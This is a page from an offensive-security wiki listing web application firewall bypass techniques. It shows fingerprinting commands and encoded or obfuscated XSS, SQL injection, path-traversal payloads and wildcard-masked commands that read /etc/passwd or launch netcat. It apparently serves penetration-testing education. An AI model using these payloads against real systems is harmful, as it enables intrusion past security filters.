Red Squad
BuyMeACoffee
  • 🏠/home/red-squad
    • ⏰Recently Added
    • 🥳Support our projects
    • ⚰️Is There Life After Death ?
  • 🌐Web Hacking
    • 🚩CTFs shortcuts
    • 🗺️Audits plan
      • Exposition Audit - Plan
      • Internal Audit - Plan
      • External Audit - Plan
    • 🕵️OSINT
      • 🔍Search Engines
      • 🧑User OSINT
      • 🇫🇲Domains, IP, IOT
      • 🕸️Website OSINT
      • 🗣️Breaches/Leaks
      • 💼Business OSINT
      • 🧅TOR network
      • 🔬Source Code
      • 🥸Dorks
      • ⚔️Vulnerabilities and IOC
      • 📦MISC
    • Enumeration
      • Network Scanners
      • Directory/Files Scanners
      • Web Scanners
        • Subdomains
    • 🔗HTTP Stuff
      • HTTP Methods
        • 403 Bypass
      • Security Headers
      • HTTP Parameters
    • 🔐Sessions / Tokens
      • Cookies
      • JWT
        • Attacking JWT
    • 💉Injections
      • HTML | XSS
      • SQLi
        • SQLmap
        • NoSQLi
      • XXE
      • LaTex
    • 🪱Web Vulnerabilities
      • CSRF
      • ClickJacking
      • Files / Upload
        • 🗃️File Upload Bypass
        • 📦ZIP Slip
      • IDOR
      • LFI
        • Files to look for
      • Remote Code Execution
    • ⛔WAF Bypass
    • ✍️Servers / CMS
      • 🐈Tomcat
      • 💧Drupal
      • ✏️Oracle APEX
      • 🐦Apache
      • 🔷WordPress
        • Wordpress eBook Download < 1.2 - CVE-2016-10924
      • ⏩SAP
      • 🕴️Jenkins
      • 🖇️Joomla!
      • 🏢Server-Side Vulnerabilities
        • Server-Side Request Forgery
        • Server-Side Template Injection
    • 🖇️API
      • GraphQL
  • 🐧Linux Hacking
    • 🧗Privilege Escalation
      • Find passwords
      • Ansible
      • Manual Checks
      • Automated Checks
    • 👣Cover tracks
    • 🚪Backdoors
    • ⭕Reverse Shells
      • Shell Stabilizing
      • PwnCat
      • Ping-Pong
    • 🔢Compiled Binaries
    • 🌊Buffer Overflow
      • Introduction
      • Fundamentals
      • Exploits
    • 🐳Docker Escape
    • 🤝File sharing
  • 🪟Windows Hacking
    • 👥Active Directory
      • 1. Reconnaissance
        • Domain Network Enumeration
          • SMB Enumeration
          • LDAP Enumeration
      • 2. Initial Attack Vectors
        • Kerberos
          • Lookupsid
          • findDelegation
          • ASREPRoast
          • Kerbrute
        • AD CS
          • Basics
          • Exploits
        • Network
          • SMBRelay
          • LLMNR_NBT NS Poisoning
            • Relay Poisoning Ressources
          • IPv6 Attacks
        • Impacket
          • Windows Secrets
        • Autologon
        • PowerView.ps1
      • 3. Post-Compromise Enumeration
        • ACLs Abuse
        • Computer enumeration
        • PowerView
        • BloodHound
        • MimiKatz
        • PingCastle
      • 4. Post-Compromise Attacks
        • WSUS Poison
        • AlwaysInstallElevated
        • DCSync
        • Dumping LSASS
        • Dumping NTDS.dit
        • Golden Tickets
        • GPP Attacks
        • Kerberoasting - SPN
        • Pass the Hash
        • Pass the Password
        • Rubeus
      • 5. PrivEsc & MISC
        • Automated scripts
        • Exploits
          • noPac - CVE-2021-42278
          • ZeroLogon - CVE-2020-1472
          • LocalPotato - CVE-2023-21746
          • PrintNightMare - CVE-2021-34527
          • Other CVEs
    • 💡Useful AD Commands
    • 🧗Privilege Escalation
    • 🐚Shells
    • 🔓Bypasses
      • UAC
      • Antivirus
      • AppLocker
      • BitLocker
    • 📃Office
      • Analyze office files
      • Forgot password of file ?
      • CVE-2023-21716 (Microsoft Word RCE)
    • 👩‍💻SCCM | MECM
      • Configuration Audit
      • Dump
      • Hack It
        • Reconnaisance
        • PXE/OSD Exploitation
        • NTLM Relay from SCCM Clients
        • Privilege Escalation
        • Lateral Movement
        • Malware Deployment
      • Basics
    • 💎Microsoft 365
      • Configuration
      • Hacking
  • 💽Systems
    • 🐕‍🦺Services Enumeration
    • 🖨️Printers
      • Printer Exploitation Tool (PRET)
      • CUPS
    • 🛡️Fortinet
    • 📹CCTV / IP Cameras
      • Hacking
  • 🎆Networks
    • 🌪️Pivoting
      • Tools / Guide
        • Proxychains / FoxyProxy
        • SSH Tunnelling / Port Forwarding
        • Plinx.exe
        • Socat
        • Chisel
        • Sshuttle
        • Ligolo-Ng : Pivoting use cases
      • SocksOverRDP
    • 🔥Firewalls
      • 🔥Evasion
    • 🔗Proxies
  • 📱Mobile Hacking
    • 🤖Android
      • Introduction
      • Reversing
      • Static Analysis
      • Dynamic Analysis
      • Disable SSL Pinning
      • Bypass Root Detection
      • Network / Traffic Analysis
    • 🍏iOS
      • Introduction
      • Static Analysis
      • Dynamic Analysis
      • JailBreak
    • 📺IOT
      • IOTGoat OWASP | Walkthrough
      • Resources
  • Configuration
    • ChromeOS
    • Mobile
      • Android
    • IBM
      • AS400
      • AIX
  • 📡Wireless Hacking
    • 🎆Wi-Fi Attacks
      • EvilTwin
      • Cracking WPA/WPA2
      • Sniffing
    • 🫐Bluetooth
      • BLE Locks Hacking
  • 👨‍💻Code Audit
    • ✔️Best Practices
    • ❌Bad Practices
    • ⚒️Tools
  • 🍑Thick Client Hacking
    • 📝Thick Client Pentesting Methodology
    • 🗄️Resources
  • 🗄️MISC
    • 🔑Default Credentials
    • 🔻CVEs
      • [CVE-2022-0847] - dirtypipe
      • [CVE-2021-4034] - Pwnkit
      • [CVE-2021-45105] - Log4J
      • [CVE-2018-15473] - OPENSSH < 7.7
    • 🦊Browser Extensions
    • 🤖AI
      • chatGPT alternatives
      • Large Language Model Hacking
    • 🔭Hacking Labs
    • 🔫Exploitation Frameworks
  • 🕵️OPSEC
    • 🗝️Privacy
      • Best tools
      • Online Anonymity
      • Browser Configuration
  • 🔑CRACKING | ENCODING
    • 🥊Bruteforce tools
    • 📝Wordlists
    • 🧨Cracking Tools
    • 🔬Encoding | Decoding Tools
    • 🔍Steganography | Cipher
  • 🔴RED TEAM
    • 📥Password Extract
      • Firefox
    • 🕵️Spy cam
    • 🔒Lock Picking
    • 🎣Phishing
      • Infrastructure
      • Resources
  • 🌀Whistle Blowing
    • 📹CCTV
  • 🔵BLUE TEAM
    • 🧩Forensics
    • 🦹Malware Analysis
    • 🛠️Tools
    • 🍯HoneyPots
    • 🎆Networks Security
    • 🪙Online IoC Scanners
  • 🐞Bug Bounty Related
    • Searching for CVEs
    • [FR] Legal
    • Dorks
  • 🖥️DEVELOPERS
    • 👨‍💻IDE
  • 📚LEARNING
    • Windows
      • Active Directory
      • Kerberos
      • Pass-the-*
    • SQL
      • SQSHell | sqsh | skwish
      • NoSQL
      • DB infos
    • SSL/TLS
      • Configuration on MariaDB
Powered by GitBook
On this page
  • Brief
  • Identify the WAF
  • Bypass techniques
  • Case Toggling
  • URL Encoding
  • Unicode
  • HTML Representation
  • Mixed Encoding
  • Using comments
  • Double Encoding
  • Wildcard Obfuscation
  • Junk Characters
  • More

Was this helpful?

Edit on GitHub
Export as PDF
  1. 🌐Web Hacking

⛔WAF Bypass

PreviousRemote Code ExecutionNextServers / CMS

Last updated 1 year ago

Was this helpful?

Brief

A WAF or web application firewall helps protect web applications by filtering and monitoring HTTP traffic between a web application and the Internet.

It typically protects web applications from attacks such as cross-site forgery, cross-site-scripting (XSS), file inclusion, and SQL injection, among others.

A WAF is a protocol layer 7 defense (in the OSI model), and is not designed to defend against all types of attacks. This method of attack mitigation is usually part of a suite of tools which together create a holistic defense against a range of attack vectors.

Identify the WAF

WAFs use standard ports : 80, 443, 8000, 8008, 8080, and 8088.

wafw00f $target
# detecting the waf
nmap -p$port --script http-waf-detect $target

# fingerprinting the waf
nmap -p$port --script http-waf-fingerprint $target

Bypass techniques

Case Toggling

Combine upper and lower case characters for creating great payloads.

Examples

# bypassed 
<ScrIpT>confirm()</sCRiPt>
sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'

# url example
http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

URL Encoding

  • Encode normal payloads with % encoding/URL encoding.

  • You can use Burp. It has an encoder/decoder tool.

Examples

# blocked by waf
<Svg/x=">"/OnLoAD=confirm()//
# bypassed
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

# blocked by waf
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
# bypassed
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

# url example
https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

Unicode

  • ASCII characters in Unicode encoding give us great variants for bypassing WAF.

  • Encode entire or part of the payload for obtaining results.

Examples

# basic request
<marquee onstart=prompt()>

# obfuscated
<marquee onstart=\u0070r\u06f\u006dpt()>

# blocked by waf
/?redir=http://google.com

# bypassed
/?redir=http://google。com (Unicode alternative)

# blocked by waf
<marquee loop=1 onfinish=alert()>x

# bypassed
<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)

# basic request
../../etc/shadow

# obfuscated
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

HTML Representation

  • WebApps encode special characters into HTML. Encoding and render them accordingly.

  • Basic bypass cases with HTML encoding numeric and generic.

Examples

# basic request
"><img src=x onerror=confirm()>

# encoded payload
&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; 
# or
&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; 

Mixed Encoding

  • Such rules often tend to filter out a specific type of encoding.

  • Such filters can be bypassed by mixed encoding payloads.

  • Newlines and tabs and further add to obfuscation.

Examples

# obfuscated payload
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

Using comments

  • Comments obfuscate standard payload vectors.

  • Different payloads have different ways of obfuscation.

Examples

# blocked by waf
<script>confirm()</script>

# bypassed
<!--><script>confirm/**/()/**/</script>

# blocked by waf
/?id=1+union+select+1,2--

# bypassed
/?id=1+un/**/ion+sel/**/ect+1,2--

# url example
index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#

index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

Double Encoding

  • Web Application Firewall filters tend to encode characters to protect web app.

  • Poorly developed filters (without recursion filters) can be bypassed with double encoding.

# basic request
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\

# obfuscated payload
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

# basic payload
<script>confirm()</script>

# obfuscated payload
%253Cscript%253Econfirm()%253C%252Fscript%253E

Wildcard Obfuscation

  • Global patterns are used by various command-line utilities to work with multiple files.

  • We can change them to run system commands.

Examples

# basic request
/bin/cat /etc/passwd

# obfuscated payload
/???/??t /???/??ss??

# used chars
/ ? t s

# basic request
/bin/nc 127.0.0.1 443

# obfuscated payload
/???/n? 2130706433 443

# used chars
/ ? n [0-9]

Junk Characters

  • Simple payloads get filtered out easily by WAF.

  • Adding some junk chars helps avoid detection (only specific cases ).

  • This technique often helps in confusing regex-based firewalls.

Examples

# basic request
<script>confirm()</script>

# obfuscated payload
<script>+-+-1-+-+confirm()</script>

# basic request
<BODY onload=confirm()>

# obfuscated payload
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

# basic request
<a href=javascript;alert()>ClickMe

# bypassed technique
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

More

How to Bypass WAF. HackenProof Cheat Sheet - HackenHacken
More | WAF Bypass Techniques
Bypass WAF
PortSwigger | WAF Bypass with BApp
Web application firewall bypass - Global Bug Bounty PlatformGlobal Bug Bounty Platform
YesWeHack | WAF Bypass
Logo
Popular WAF vendors
Logo
Logo